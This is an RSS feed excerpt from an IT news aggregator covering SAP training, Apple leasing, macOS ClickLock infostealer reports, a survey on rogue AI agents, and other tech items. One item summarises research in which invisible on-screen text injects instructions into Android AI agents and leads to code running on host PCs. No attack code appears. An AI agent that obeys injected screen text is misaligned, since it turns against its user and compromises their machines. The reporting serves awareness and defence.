href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SAP developers face education debt, user group warns]]></title>
<description><![CDATA[Many enterprises are investing tens of millions in modernizing their SAP landscapes, but are often underestimating a crucial factor for success, the training of their own developers, according to the German-Speaking SAP User Group, DSAG.



The user association urges CIOs to treat the continuing ...]]></description>
<link>https://tsecurity.de/de/3684227/it-nachrichten/sap-developers-face-education-debt-user-group-warns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684227/it-nachrichten/sap-developers-face-education-debt-user-group-warns/</guid>
<pubDate>Tue, 21 Jul 2026 17:50:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Many enterprises are investing tens of millions in modernizing their SAP landscapes, but are often underestimating a crucial factor for success, the training of their own developers, according to the German-Speaking SAP User Group, DSAG.</p>



<p class="wp-block-paragraph">The user association urges CIOs to treat the continuing education of SAP developers not as a voluntary training measure but as a strategic investment program in a new <a href="https://impulsant.dsag.de/wp-content/uploads/2026/07/CIO-Upskilling.pdf" target="_blank" rel="noreferrer noopener">report on upskilling</a> [PDF, in German]. Well-trained developers are essential for building stable, maintainable in-house projects without accumulating technical debt, but without continuing education during the upgrade to S/4HANA, the potential of the new technologies will remain untapped, it warned.</p>



<h2 class="wp-block-heading">Outdated expertise becomes a project risk</h2>



<p class="wp-block-paragraph">As the authors explain, while many ABAP developers have decades of experience with SAP R/3 or ECC and possess extensive process knowledge, development paradigms have fundamentally changed with S/4HANA, Clean Core, and <a href="https://www.cio.com/article/189599/sap-doubles-down-on-citizen-developer-strategy.html#:~:text=There%E2%80%99s%20also%20a,cloud%2C%E2%80%9D%20says%20Mueller.">ABAP Cloud</a>.</p>



<p class="wp-block-paragraph">In the long term, this threatens to lead to poor architectural decisions, time-consuming workarounds, and in-house developments that will need to be maintained with every release, according to DSAG. Many business consultants, too, are still relying too heavily on classic GUI transactions and not taking modern Fiori technologies sufficiently into account.</p>



<p class="wp-block-paragraph">The result is what the SAP user group refers to as “skills debt.” This debt remains invisible at first but later becomes apparent in the form of longer projects, rising maintenance costs, and a growing dependence on external service providers.</p>



<h2 class="wp-block-heading">Skill building must start before the project</h2>



<p class="wp-block-paragraph">The DSAG authors view the timing of training as particularly critical. Those who wait until an ongoing S/4HANA migration project is underway to begin building expertise significantly increase the project risk. A lack of knowledge about CDS, RAP, or Fiori leads to architectural decisions that must later be corrected at great expense. At the same time, the necessary learning effort can hardly be managed alongside day-to-day business operations.</p>



<p class="wp-block-paragraph">But even after the migration is complete, SAP developers must continue their training, according to DSAG. The authors warn that anyone who continues to work as they did on ECC will miss out on the opportunities offered by current SAP technologies — even if everything still works technically. At the same time, they can immediately apply what they’ve learned, which helps solidify their new knowledge.</p>



<h2 class="wp-block-heading">AI no replacement for developer expertise</h2>



<p class="wp-block-paragraph">While <a href="https://www.cio.com/article/4197428/sap-study-ai-pays-off-but-governance-is-lagging-behind.html">AI tools can generate and explain code</a>, this requires that developers be able to evaluate the results from a technical perspective, and according to DSAG the same applies to development in the SAP environment: “Only those who understand what constitutes good SAP code can use AI as an accelerator,” the authors write. Otherwise, AI acts as a risk amplifier and, in the worst case, merely accelerates the accumulation of technical debt.</p>



<p class="wp-block-paragraph">The prerequisites for successful AI deployment are solid software engineering knowledge, automated testing, and an understanding of modern SAP development.</p>



<h2 class="wp-block-heading">DSAG’s five recommendations</h2>



<p class="wp-block-paragraph">DSAG recommends that CIOs firmly integrate continuing education into their transformation strategy with five measures:</p>



<ul class="wp-block-list">
<li>defining mandatory learning paths for different roles, such as ABAP, CAP, or integration developers, as well as business consultants,</li>



<li>providing suitable sandbox and test environments,</li>



<li>mandatorily including training time in capacity planning,</li>



<li>coordinating training schedules with migration and modernization projects, and</li>



<li>using existing DSAG guidelines as a reference framework for development.</li>
</ul>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Upgrades will let users lease iPhones and Macs with Klarna]]></title>
<description><![CDATA[Apple is preparing to launch a new iPhone upgrade program on July 28, with users leasing purchases from Klarna for 24 to 36 months.Klarna on Apple Pay - Image credit: KlarnaApple already provides consumers with ways to upgrade their devices while paying a monthly subscription. But it seems Apple ...]]></description>
<link>https://tsecurity.de/de/3684218/ios-mac-os/apple-upgrades-will-let-users-lease-iphones-and-macs-with-klarna/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684218/ios-mac-os/apple-upgrades-will-let-users-lease-iphones-and-macs-with-klarna/</guid>
<pubDate>Tue, 21 Jul 2026 17:41:50 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is preparing to launch a new <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhone</a> upgrade program on July 28, with users leasing purchases from Klarna for 24 to 36 months.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68312-144003-61425-126894-Klarnaoniphone-xl-xl.jpg" alt="Hand holding a smartphone displaying an Apple Pay checkout screen for a $75 purchase, against a dark background, with green-painted fingernails and a long-sleeve shirt visible" height="738"><br><span>Klarna on Apple Pay - Image credit: Klarna</span></div><br>Apple already provides consumers with ways to upgrade their devices while paying a monthly subscription. But it seems Apple is gearing up to introduce a new alternative to the iPhone Upgrade Program that covers more hardware.<br><br>Expected to launch on July 28, Apple Upgrade will be a leasing program backed by credit group Klarna. <a href="https://www.bloomberg.com/news/articles/2026-07-21/apple-to-launch-upgrade-device-leasing-program-with-klarna-to-spur-sales">According to</a> sources of <em>Bloomberg</em>, it will allow consumers to acquire not just iPhones, but select <a href="https://appleinsider.com/inside/mac" title="Mac" data-kpt="1">Macs</a>, <a href="https://appleinsider.com/inside/ipad" title="iPad" data-kpt="1">iPads</a>, and <a href="https://appleinsider.com/inside/apple-watch" title="Apple Watch" data-kpt="1">Apple Watch</a> models.<br><br><br> <a href="https://appleinsider.com/articles/26/07/21/apple-upgrades-will-let-users-lease-iphones-and-macs-with-klarna?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245011?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 JAHRE HAFT? Aline Bachmann zeigt Just Nero an!]]></title>
<description><![CDATA[Author: WBS LEGAL - Bewertung: 39x - Views:756 Du hast eine Abmahnung wegen angeblichen illegalen Downloads erhalten? ➔ https://wbs.law/filesharing

Du bist unsicher, welche Musik du in deinen Videos rechtssicher nutzen darfst? ➔ https://wbs.law/musik

▬▬▬▬▬▬▬▬▬▬▬▬▬ 

Just Nero zieht Aline Bachma...]]></description>
<link>https://tsecurity.de/de/3684168/videos/5-jahre-haft-aline-bachmann-zeigt-just-nero-an/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684168/videos/5-jahre-haft-aline-bachmann-zeigt-just-nero-an/</guid>
<pubDate>Tue, 21 Jul 2026 17:23:10 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: WBS LEGAL - Bewertung: 39x - Views:756 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/STT1_GCghXM?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Du hast eine Abmahnung wegen angeblichen illegalen Downloads erhalten? ➔ https://wbs.law/filesharing<br />
<br />
Du bist unsicher, welche Musik du in deinen Videos rechtssicher nutzen darfst? ➔ https://wbs.law/musik<br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
<br />
Just Nero zieht Aline Bachmann vor Gericht | Anwalt Solmecke reagiert: https://www.youtube.com/watch?v=OUQi7fdudXY<br />
Just Nero siegt vor Gericht gegen Aline Bachmann – oder doch nicht?: https://www.youtube.com/watch?v=Z-FWvHSSSAA<br />
Aline Bachmann: Schulden bei JustNero – droht jetzt harte Strafe?: https://www.youtube.com/watch?v=K_JqZRRd3uw<br />
Aline Bachmann gibt Gewinnspiel-Manipulation zu: Was droht ihr jetzt?: https://www.youtube.com/watch?v=6sojzYR4om8<br />
Aline Bachmann: Tierquälerei im Pferdestall?: https://www.youtube.com/watch?v=JAbPkBrPoVQ<br />
Alle WBS-Videos zu Aline Bachmann: https://www.youtube.com/@wbs_legal/search?query=aline%20bachmann<br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
WBS.LEGAL sucht dich! Du bist auf der Suche nach einem attraktiven, spannenden und anspruchsvollen Job? Dann bewirb dich bei uns und komm in unser Team. Bei WBS.LEGAL arbeitest du im Herzen der Medienhauptstadt Köln und bist im Berufsleben immer am Puls der Zeit – garantiert. Hier unsere offenen Stellenangebote: https://www.wbs.legal/karriere/#jobs Was erwartet dich bei uns? Hier bekommst du weitere Infos: https://www.wbs.legal/karriere/. <br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Rechtsanwalt Prof. Christian Solmecke Prof. Christian Solmecke hat sich als Rechtsanwalt und Partner der Kölner Medienrechtskanzlei WBS.LEGAL auf die Beratung der Internet-, IT- und Medienbranche spezialisiert. So hat er in den vergangenen Jahren den Bereich Internetrecht/E-Commerce der Kanzlei stetig ausgebaut und betreut zahlreiche Medienschaffende, Web-2.0-Plattformen und App- Entwickler. Neben seiner Tätigkeit als Rechtsanwalt ist Prof. Christian Solmecke vielfacher Buchautor und als Gründer der cloudbasierten Kanzleisoftware Legalvisio.de auch erfolgreicher LegalTech-Unternehmer.<br />
<br />
 ▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Virtueller Kanzlei-Rundgang: https://wbs.law/rundgang Startet euren Rundgang in 3D und 360° durch die Kanzlei WBS.LEGAL (inkl. YouTube- Studio) <br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Social-Media-Kanäle von WBS.LEGAL Wir freuen uns, wenn du uns auch auf unseren weiteren Social-Media-Kanälen besuchst und uns dort folgst. Jeder unserer Kanäle steht für sich und bringt dir garantiert einen Mehrwert. <br />
<br />
▬Instagram und TikTok▬ <br />
Auf unseren erfolgreichen Kanälen auf Instagram und TikTok räumen wir täglich mit Rechtsirrtümern auf und präsentieren dir rechtliche Lifehacks. Damit bist du immer auf dem Laufendem und bekommst deine tägliche Dosis Alltagsrecht. Kurz, knackig und immer auf den Punkt. Folge uns auf Instagram und TikTok und du kannst vor deinen Freunden mit neuem Wissen glänzen. <br />
<br />
➥ Instagram: https://wbs.law/recht2go <br />
➥ TikTok: https://wbs.law/recht2goTikTok<br />
<br />
 ▬Facebook▬ <br />
Auf Facebook sind wir inzwischen schon alte Hasen, denn seit Jahren informieren wir dich dort täglich über aktuelle Rechts-News. Gerne kannst du uns dort auch eine Anfrage als private Nachricht schicken. Schau vorbei! <br />
<br />
Hier der Link: ➥ https://wbs.law/facebook<br />
<br />
▬Podcasts▬<br />
 Du bist unterwegs, unter der Dusche oder hörst einfach gerne Podcasts? Dann haben wir etwas für dich: Höre die Tonspur unserer Videos täglich auf Spotify, Soundcloud und iTunes. So bleibst du immer aktuell! <br />
<br />
Hier die Links: <br />
➥ https://wbs.law/spotify <br />
➥ https://wbs.law/soundcloud <br />
➥ https://wbs.law/apple<br />
<br />
▬Unser Zweitkanal▬ <br />
Unseren weiteren YouTube-Kanal „WBS – Die Experten“ kennst du, oder? Wenn nicht, dann unsere dringende Empfehlung: Schau rein! Denn hier erfährst du immer donnerstags ausführlich alle wichtigen Infos zu unseren Rechtsbereichen – präsentiert von einigen unserer Top-Rechtsanwälte. Ob Medienrecht, Urheberrecht, Markenrecht, Social-Media- Recht, Verkehrsrecht oder Datenschutzrecht: Das alles und mehr nur auf unserem Zweitkanal, und zwar aus erster Hand von unseren WBS-Experten. <br />
<br />
Hier der Link: ➥ https://wbs.law/dieexperten <br />
<br />
▬Kontakt▬ <br />
Hotline: 0221 / 400 67 550 E-Mail: info@wbs.legal<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Notebooksbilliger: Angebote der Woche stark reduziert 21. Juli]]></title>
<description><![CDATA[Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3683964/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-21-juli/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683964/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-21-juli/</guid>
<pubDate>Tue, 21 Jul 2026 16:10:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784642226"><img hspace="5" border="0" align="left" alt="NBB, Notebooksbilliger, nbb.com, ADW, Angebote der Woche" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/65494.png"></a>
			Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784642226">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[New ClickLock malware locks your Mac until you hand over your password]]></title>
<description><![CDATA[New ClickLock malware locks your Mac until you hand over your password. Here's how to protect yourself. 
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)]]></description>
<link>https://tsecurity.de/de/3683891/ios-mac-os/new-clicklock-malware-locks-your-mac-until-you-hand-over-your-password/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683891/ios-mac-os/new-clicklock-malware-locks-your-mac-until-you-hand-over-your-password/</guid>
<pubDate>Tue, 21 Jul 2026 15:41:22 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="438" src="https://www.cultofmac.com/wp-content/uploads/2026/07/ClickLock-malware-1440x809.jpg.webp" class="attachment-large size-large wp-post-image" alt="How ClickLock malware tricks you into pasting a command" decoding="async" fetchpriority="high" srcset="https://www.cultofmac.com/wp-content/uploads/2026/07/ClickLock-malware-1440x809.jpg.webp 1440w, https://www.cultofmac.com/wp-content/uploads/2026/07/ClickLock-malware-400x225.jpg 400w, https://www.cultofmac.com/wp-content/uploads/2026/07/ClickLock-malware-768x432@2x.jpg.webp 1536w, https://www.cultofmac.com/wp-content/uploads/2026/07/ClickLock-malware-350x197.jpg 350w, https://www.cultofmac.com/wp-content/uploads/2026/07/ClickLock-malware-768x432.jpg.webp 768w, https://www.cultofmac.com/wp-content/uploads/2026/07/ClickLock-malware-1020x573.jpg.webp 1020w, https://www.cultofmac.com/wp-content/uploads/2026/07/ClickLock-malware.jpg.webp 1600w, https://www.cultofmac.com/wp-content/uploads/2026/07/ClickLock-malware-400x225@2x.jpg 800w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>New ClickLock malware locks your Mac until you hand over your password. Here's how to protect yourself. </p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The wireless headset that gets hot-swappable batteries right]]></title>
<description><![CDATA[New gaming gear is always promising to shave milliseconds off latency or response time. The improvements usually aren't obvious. But the Glorious GHS InfinitePlay wireless headset, on the other hand, could save you far more than just milliseconds: It has the fastest hot-swap battery system I've e...]]></description>
<link>https://tsecurity.de/de/3683867/it-nachrichten/the-wireless-headset-that-gets-hot-swappable-batteries-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683867/it-nachrichten/the-wireless-headset-that-gets-hot-swappable-batteries-right/</guid>
<pubDate>Tue, 21 Jul 2026 15:34:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[New gaming gear is always promising to shave milliseconds off latency or response time. The improvements usually aren't obvious. But the Glorious GHS InfinitePlay wireless headset, on the other hand, could save you far more than just milliseconds: It has the fastest hot-swap battery system I've ever used, and the headset doesn't die when you […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Open-Source Android AI Agents Could Let Invisible Screen Text Run Code on Host PCs]]></title>
<description><![CDATA[An Android app that can draw over other windows and write to shared storage can slip instructions to the AI agent driving that phone, in text no human eye will ever see. Two more steps, and the same app is running commands on the PC driving the agent.

Researchers demonstrated that chain, plus si...]]></description>
<link>https://tsecurity.de/de/3683704/it-security-nachrichten/open-source-android-ai-agents-could-let-invisible-screen-text-run-code-on-host-pcs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683704/it-security-nachrichten/open-source-android-ai-agents-could-let-invisible-screen-text-run-code-on-host-pcs/</guid>
<pubDate>Tue, 21 Jul 2026 14:37:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An Android app that can draw over other windows and write to shared storage can slip instructions to the AI agent driving that phone, in text no human eye will ever see. Two more steps, and the same app is running commands on the PC driving the agent.

Researchers demonstrated that chain, plus six other attacks, against five open-source mobile agent frameworks: AppAgent, AppAgentX,]]></content:encoded>
</item>
<item>
<title><![CDATA[Open-Source Android AI Agents Could Let Invisible Screen Text Run Code on Host PCs]]></title>
<description><![CDATA[An Android app that can draw over other windows and write to shared storage can slip instructions to the AI agent driving that phone, in text no human eye will ever see. Two more steps, and the same app is…
Read more →
The post Open-Source Android AI Agents Could Let Invisible Screen Text Run Cod...]]></description>
<link>https://tsecurity.de/de/3683702/it-security-nachrichten/open-source-android-ai-agents-could-let-invisible-screen-text-run-code-on-host-pcs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683702/it-security-nachrichten/open-source-android-ai-agents-could-let-invisible-screen-text-run-code-on-host-pcs/</guid>
<pubDate>Tue, 21 Jul 2026 14:37:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>An Android app that can draw over other windows and write to shared storage can slip instructions to the AI agent driving that phone, in text no human eye will ever see. Two more steps, and the same app is…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/open-source-android-ai-agents-could-let-invisible-screen-text-run-code-on-host-pcs/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/open-source-android-ai-agents-could-let-invisible-screen-text-run-code-on-host-pcs/">Open-Source Android AI Agents Could Let Invisible Screen Text Run Code on Host PCs</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New ClickLock Stealer locks your Mac until you hand over your password]]></title>
<description><![CDATA[A new macOS infostealer tricks victims into revealing their system password and installs a persistent backdoor for future access. This article has been indexed from Malwarebytes Read the original article: New ClickLock Stealer locks your Mac until you hand over…
Read more →
The post New ClickLock...]]></description>
<link>https://tsecurity.de/de/3683698/it-security-nachrichten/new-clicklock-stealer-locks-your-mac-until-you-hand-over-your-password/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683698/it-security-nachrichten/new-clicklock-stealer-locks-your-mac-until-you-hand-over-your-password/</guid>
<pubDate>Tue, 21 Jul 2026 14:37:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A new macOS infostealer tricks victims into revealing their system password and installs a persistent backdoor for future access. This article has been indexed from Malwarebytes Read the original article: New ClickLock Stealer locks your Mac until you hand over…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/new-clicklock-stealer-locks-your-mac-until-you-hand-over-your-password/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/new-clicklock-stealer-locks-your-mac-until-you-hand-over-your-password/">New ClickLock Stealer locks your Mac until you hand over your password</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Atlassian: Why AI speeds up employees but not organizations]]></title>
<description><![CDATA[Presented by Atlassian Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at ...]]></description>
<link>https://tsecurity.de/de/3683692/it-nachrichten/atlassian-why-ai-speeds-up-employees-but-not-organizations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683692/it-nachrichten/atlassian-why-ai-speeds-up-employees-but-not-organizations/</guid>
<pubDate>Tue, 21 Jul 2026 14:33:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Atlassian </i></p><hr><p>Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>.</p><p>Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.</p><p>"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.</p><h2>Why AI speed isn’t translating into ROI</h2><p>Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.</p><p>"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.</p><p>But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.</p><p>Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.</p><p>On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. </p><p>On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.</p><h2>How leaders can move AI from individual hack to team advantage</h2><p>Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.</p><p>"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.</p><p>Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.</p><p>To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.</p><p>The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New ClickLock Stealer locks your Mac until you hand over your password]]></title>
<description><![CDATA[A new macOS infostealer tricks victims into revealing their system password and installs a persistent backdoor for future access.]]></description>
<link>https://tsecurity.de/de/3683663/it-security-nachrichten/new-clicklock-stealer-locks-your-mac-until-you-hand-over-your-password/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683663/it-security-nachrichten/new-clicklock-stealer-locks-your-mac-until-you-hand-over-your-password/</guid>
<pubDate>Tue, 21 Jul 2026 14:23:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new macOS infostealer tricks victims into revealing their system password and installs a persistent backdoor for future access.]]></content:encoded>
</item>
<item>
<title><![CDATA[IT leaders confident but cooked when it comes to rogue AI agents]]></title>
<description><![CDATA[A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.



Nine in 10 IT and security leaders surveyed by IT observability v...]]></description>
<link>https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</guid>
<pubDate>Tue, 21 Jul 2026 12:09:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.</p>



<p class="wp-block-paragraph">Nine in 10 IT and security leaders surveyed by <a href="https://www.cio.com/article/4176067/the-ai-governance-imperative-you-cant-afford-to-ignore.html?utm=hybrid_search">IT observability</a> vendor WanAware believe in their capabilities to find malfunctioning agents, but only 26% acknowledge that they can trace the downstream impact within minutes. Over 45% say it would take hours to understand the full impact of an agent incident.</p>



<p class="wp-block-paragraph">That delay between detection and mitigation can be a huge problem, says <a href="https://www.linkedin.com/in/jmcollins/">Jeffrey Collins</a>, WanAware’s CEO. The survey suggests IT leaders are overconfident about their ability to control agents, he adds.</p>



<p class="wp-block-paragraph">And here, timing is critical, Collins says, given that malfunctioning agents can lead to major outages and data breaches — damage that can start within seconds, he notes.</p>



<p class="wp-block-paragraph">“That’s truly the gap here. It’s not if you understand it; it’s when you understand it,” Collins says. “If your average time to just knowing about an event is measured in days, weeks, or months, you have a serious problem right now.”</p>



<p class="wp-block-paragraph">While it’s not always easy to tell whether an agent has gone beyond its scope, it’s even harder to tell the downstream impacts, he adds.</p>



<p class="wp-block-paragraph">“What’s been affected if one machine was compromised, either from our own AI usage as a customer or from someone else’s, what else could happen, and how can we understand that quickly?” Collins asks.</p>



<h2 class="wp-block-heading">Machine speed</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kevin-paige-578547a/">Kevin Paige</a>, field CISO at IT solutions provider C1, agrees that time is of the essence when an AI agent malfunctions.</p>



<p class="wp-block-paragraph">“The problem is that agents move at machine speed, so the gap between an agent malfunctioning and you catching it isn’t measured in minutes, it’s measured in actions,” he says. “Every minute it’s wrong it’s still working, and because it’s usually running on borrowed standing credentials, the damage spreads across everything those credentials can reach before anyone can pin it on the agent.”</p>



<p class="wp-block-paragraph">In many cases, organizations with rogue agents don’t find out from their <a href="https://www.cio.com/article/4195251/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs.html">own detection tools</a>, but from customers, auditors, or broken downstream systems, he says.</p>



<p class="wp-block-paragraph">“That’s the worst way to learn,” Paige adds. “The longer-term cost is trust, because one incident like that and the business pulls back on agents entirely, so failing to contain a malfunction fast is also what stalls adoption.”</p>



<p class="wp-block-paragraph">The problem with detecting <a href="https://www.cio.com/article/4127774/1-5-million-ai-agents-are-at-risk-of-going-rogue-2.html?utm=hybrid_search">rogue agents</a> is that many organizations have built in visibility but not control, he says.</p>



<p class="wp-block-paragraph">“When an agent goes out of scope it’s rarely dramatic,” Paige adds. “Usually, it’s using access it legitimately has, for a purpose nobody signed off on, which means your access model doesn’t even flag it. So you find out after the fact, and you fix it by hand.”</p>



<p class="wp-block-paragraph">IT teams can stop agents that exceed their scope, but only if controls were built in before the agent was deployed, adds <a href="https://www.linkedin.com/in/chrisdcamacho/">Chris Camacho</a>, COO of Abstract Security.</p>



<p class="wp-block-paragraph">“Every agent should have its own identity, narrowly scoped permissions, and a complete audit trail,” he says. “Just as important, organizations need the ability to immediately revoke that identity or suspend the agent without manually hunting through multiple consoles during an incident.”</p>



<p class="wp-block-paragraph">Part of the challenge is that an agent’s activity is spread across identities, cloud platforms, SaaS applications, APIs, and security tools that were not designed to tell a complete story, Camacho says. Security teams often have to piece together events from multiple basic questions such as, what did the agent access, and what changed?</p>



<p class="wp-block-paragraph">“Most organizations know where they’ve deployed AI agents,” he adds. “That’s very different from knowing exactly what an agent did after something unexpected happens.”</p>



<p class="wp-block-paragraph">The organizations that most successfully manage agents won’t be the ones that deploy the most, he says. “They’ll be the ones that can explain every action an agent took, prove it operated within policy, and stop it immediately when it doesn’t,” he adds.</p>



